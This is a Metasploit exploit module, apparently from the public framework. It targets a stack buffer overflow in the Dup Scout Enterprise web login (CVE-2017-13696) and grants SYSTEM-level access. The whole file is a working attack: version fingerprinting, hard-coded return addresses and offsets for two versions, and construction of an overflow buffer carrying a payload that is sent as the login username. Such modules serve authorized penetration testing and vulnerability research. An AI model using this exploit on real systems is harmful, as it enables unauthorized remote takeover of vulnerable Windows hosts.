modules/exploits/windows/http/dup_scout_enterprise_login_bof.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Dup Scout Enterprise Login Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Dup Scout Enterprise
versions <= 10.0.18. The buffer overflow exists via the web interface
during login. This gives NT AUTHORITY\SYSTEM access.
This module has been tested successfully on Dup Scout Enterprise
versions:
9.9.14 on Windows 7 SP1 (x64);
9.9.14 on Windows XP SP0 (x64);
10.0.18 on Windows 7 SP1 (x64);
10.0.18 on Windows XP SP0 (x86); and
10.0.18 on Windows 10 (1909) (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'sickness', # Original discovery and exploit
'Chris Higgins', # msf Module -- @ch1gg1ns
'bcoles', # Automatic targetting and v9.9.14 target
],
'References' =>
[
['CVE', '2017-13696'],
['CWE', '121'],
['EDB', '42557'],
['EDB', '43145'],
['EDB', '40832']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Arch' => ARCH_X86,
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x25\x26\x2b\x3d"
},
'Targets' =>
[
[ 'Automatic', { 'auto' => true } ],
[
'Dup Scout Enterprise 9.9.14 (x86)',
{
# 0x100b5612 : push esp # ret | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-
'Version' => '9.9.14',
'Ret' => 0x100b5612,
'Offset' => 780
}
],
[
'Dup Scout Enterprise 10.0.18 (x86)',
{
# 0x10090c83 : jmp esp | {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-
'Version' => '10.0.18',
'Ret' => 0x10090c83,
'Offset' => 780
}
],
],
'Notes' =>
{
'Stability' => [ CRASH_SERVICE_DOWN ],
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
},
'Privileged' => true,
'DisclosureDate' => '2017-11-14',
'DefaultTarget' => 0
)
)
register_options([Opt::RPORT(80)])
end
def check
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
unless res
return CheckCode::Unknown('Connection failed.')
end
version = res.body.scan(/>Dup Scout Enterprise v([\d.]+)</).flatten.first
unless version
return CheckCode::Safe('Target is not Dup Scout Enterprise.')
end
unless target_for_version(version)
return CheckCode::Detected("No targets for Dup Scout Enterprise version #{version}.")
end
CheckCode::Appears("Dup Scout Enterprise version #{version}.")
end
def dup_version
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
unless res
return fail_with(Failure::Unreachable, 'Could not determine Dup Scout Enterprise version. No reply.')
end
res.body.scan(/>Dup Scout Enterprise v([\d.]+)</).flatten.first
end
def target_for_version(version)
return unless version
targets.select { |t| version == t['Version'] }.first
end
def exploit
my_target = target
if target.name == 'Automatic'
print_status('Selecting a target...')
my_target = target_for_version(dup_version)
unless my_target
fail_with(Failure::NoTarget, 'Unable to automatically detect a target')
end
end
print_status("Using target: #{my_target.name}")
print_status('Generating payload ...')
evil = rand_text(my_target['Offset'])
evil << [my_target.ret].pack('V')
evil << make_nops(12)
evil << payload.encoded
evil << make_nops(10_000 - evil.length)
print_status("Sending payload (#{evil.length} bytes) ...")
send_request_cgi({
'uri' => '/login',
'method' => 'POST',
'vars_post' => {
'username' => evil,
'password' => rand_text(10..20)
}
})
end
end